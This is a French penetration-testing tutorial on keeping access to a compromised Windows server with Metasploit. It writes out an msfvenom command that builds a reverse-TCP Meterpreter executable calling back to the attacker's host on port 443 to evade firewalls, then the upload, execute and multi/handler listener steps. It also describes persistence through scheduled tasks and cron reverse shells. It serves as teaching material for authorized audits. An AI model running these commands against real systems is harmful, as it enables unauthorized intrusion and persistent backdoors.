Maintenir l'accès sur la machine victime
Jusqu'à présent, nous avons réussi à pénétrer le serveur distant en exploitant une vulnérabilité critique sur le système d'exploitation.
Maintenant, nous pouvons poursuivre notre test d'intrusion, mais il faut être vigilant.
Dans certains cas, vous risquez de perdre votre session Meterpreter (par exemple, si le système redémarre ou si la connexion réseau est instable), ce qui perturberait la continuité de votre audit.
C'est pour cette raison que nous devons mettre en place un maintien d'accès sur le serveur, en générant plusieurs sessions Meterpreter ou d'autres shells distants.
Il existe plusieurs stratégies pour cela.
Nous allons en étudier une consistant à téléverser (uploader) un fichier exécutable malveillant sur le serveur distant pour ouvrir une nouvelle session Meterpreter, ce qui augmente nos chances de conserver notre accès sur la machine.
Nous verrons également d'autres techniques pour rendre cet accès persistant.
Si nous exécutons la commande `sessions` sur Metasploit, nous pouvons voir que nous n'avons actuellement qu'une seule session active sur le serveur cible.
Elle s'exécute sur l'ordinateur nommé « John-PC », et nous pouvons visualiser l'adresse IP et les ports associés.
Pour interagir avec cette session, nous utilisons la commande `sessions -i 1` (où 1 est l'identifiant de la session).
Cela nous redonne la main sur notre console Meterpreter.
C'est notre point de départ : s'assurer que notre première session fonctionne correctement.
Dans un autre terminal, nous allons créer notre charge utile malveillante en utilisant l'outil `msfvenom`, qui fait partie du framework Metasploit et permet de générer des payloads personnalisés.
Voici la commande complète : `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP_Kali> LPORT=443 -f exe -o persistence.exe`.
Détaillons cette commande : l'option `-p` spécifie le payload, ici un Meterpreter reverse TCP pour architecture Windows 64-bit.
Avec une connexion de type « reverse TCP » (connexion inverse), c'est la machine victime qui va initier la connexion réseau vers la machine de l'attaquant.
À l'inverse, dans un mode « bind », c'est l'attaquant qui tente de se connecter directement sur un port ouvert de la machine cible.
On privilégie presque toujours le mode reverse car il permet de contourner les pare-feu qui bloquent généralement les connexions entrantes mais autorisent les connexions sortantes.
Le paramètre `LHOST` correspond à l'adresse IP de notre machine d'attaque Kali Linux.
Pour `LPORT`, nous choisissons le port 443.
Le port 443 est utilisé par défaut pour le trafic HTTPS.
Il est presque toujours autorisé par les pare-feu d'entreprise pour permettre aux utilisateurs de naviguer sur le web en toute sécurité.
Ainsi, notre flux malveillant passera inaperçu.
L'option `-f` définit le format de sortie (ici un exécutable `.exe` pour Windows, mais on peut générer des formats `.dll` ou d'autres types selon la cible).
Enfin, l'option `-o` permet de spécifier le nom du fichier généré, par exemple `persistence.exe`.
Nous appuyons sur Entrée et `msfvenom` génère le fichier.
De retour dans notre terminal de contrôle, nous pouvons vérifier notre répertoire de travail actuel avec `pwd` (nous sommes dans `/home/kali`).
Sur notre console Meterpreter, nous pouvons vérifier notre dossier local (sur notre machine d'attaque) en utilisant la commande `lpwd` pour nous assurer que nous sommes dans le même dossier où se trouve notre fichier `persistence.exe`.
Pour transférer ce fichier sur la machine victime, nous utilisons la commande `upload persistence.exe`.
Le fichier est téléversé.
En tapant `ls` sur Meterpreter, nous constatons que le fichier `persistence.exe` est désormais présent sur le disque dur de la victime.
Avant de l'exécuter, nous devons configurer un écouteur (un listener) sur Metasploit.
En effet, lorsque la cible exécutera le fichier, elle tentera de se connecter à notre machine Kali sur le port 443, et notre système doit être prêt à intercepter cette connexion.
Pour ce faire, nous lançons un nouveau terminal avec `msfconsole`, puis nous utilisons le module multi handler en tapant `use exploit/multi/handler`.
Nous devons configurer le même payload que celui utilisé pour générer l'exécutable en tapant `set payload windows/x64/meterpreter/reverse_tcp`.
En tapant `show options`, nous pouvons configurer l'adresse IP d'écoute (`LHOST`) et le port (`LPORT`).
Si vous travaillez sur un réseau local ou un lab personnel, vous renseignerez l'adresse IP de votre interface `eth0` ou `wlan0`.
Si vous utilisez un réseau VPN (comme TryHackMe), vous devrez spécifier l'adresse de votre interface VPN (`tun0`).
Nous configurons le port sur 443 en tapant `set LPORT 443`.
Nous lançons l'écouteur avec la commande `exploit -j` (ou `run -j`) pour le faire tourner en arrière-plan.
Maintenant que notre écouteur est prêt sur le port 443, nous retournons sur notre première session Meterpreter et lançons l'exécutable avec la commande `execute -f persistence.exe`.
Cette commande crée un nouveau processus (par exemple sous l'ID 2396) sur la machine victime.
Presque immédiatement, sur notre terminal d'écoute, nous voyons qu'une nouvelle session Meterpreter s'ouvre.
Si nous mettons cette session en arrière-plan avec la commande `background` et que nous tapons `sessions`, nous voyons maintenant deux sessions actives sur la cible.
Nous disposons ainsi de plusieurs voies d'accès à notre machine victime.
Cependant, veillez à ne pas multiplier inutilement les sessions pour éviter de déclencher des alertes de sécurité sur le réseau de votre client.
Pour aller plus loin dans le maintien d'accès sur Windows, les attaquants utilisent fréquemment le Planificateur de tâches (Task Scheduler).
Le Planificateur de tâches permet de planifier le lancement automatique de programmes ou de scripts à des intervalles réguliers ou lors d'événements spécifiques (comme le démarrage de la machine).
Par exemple, l'installation de certains navigateurs (comme Opera GX) crée une tâche planifiée pour rechercher automatiquement les mises à jour en arrière-plan de manière transparente.
Un attaquant peut créer une tâche similaire pour lancer son fichier exécutable malveillant toutes les 12 ou 24 heures.
Ainsi, même si le serveur redémarre ou si la session est coupée, la tâche planifiée rétablira automatiquement la connexion inverse vers la machine de l'attaquant.
Sur les systèmes Linux, l'équivalent du Planificateur de tâches de Windows est le service `cron` (ou démon cron).
Pour configurer des tâches planifiées sous Linux, on modifie le fichier `crontab` (par exemple avec la commande `crontab -e` ou en affichant son contenu avec `cat /etc/crontab`).
Ce service permet de planifier des scripts en spécifiant précisément la minute, l'heure, le jour du mois, le mois et le jour de la semaine.
Un attaquant peut y insérer une commande pour exécuter un shell inverse (reverse shell) régulièrement.
Ce sont les stratégies fondamentales utilisées pour assurer le maintien d'accès sur un système compromis, qu'il s'agisse de Windows ou de Linux.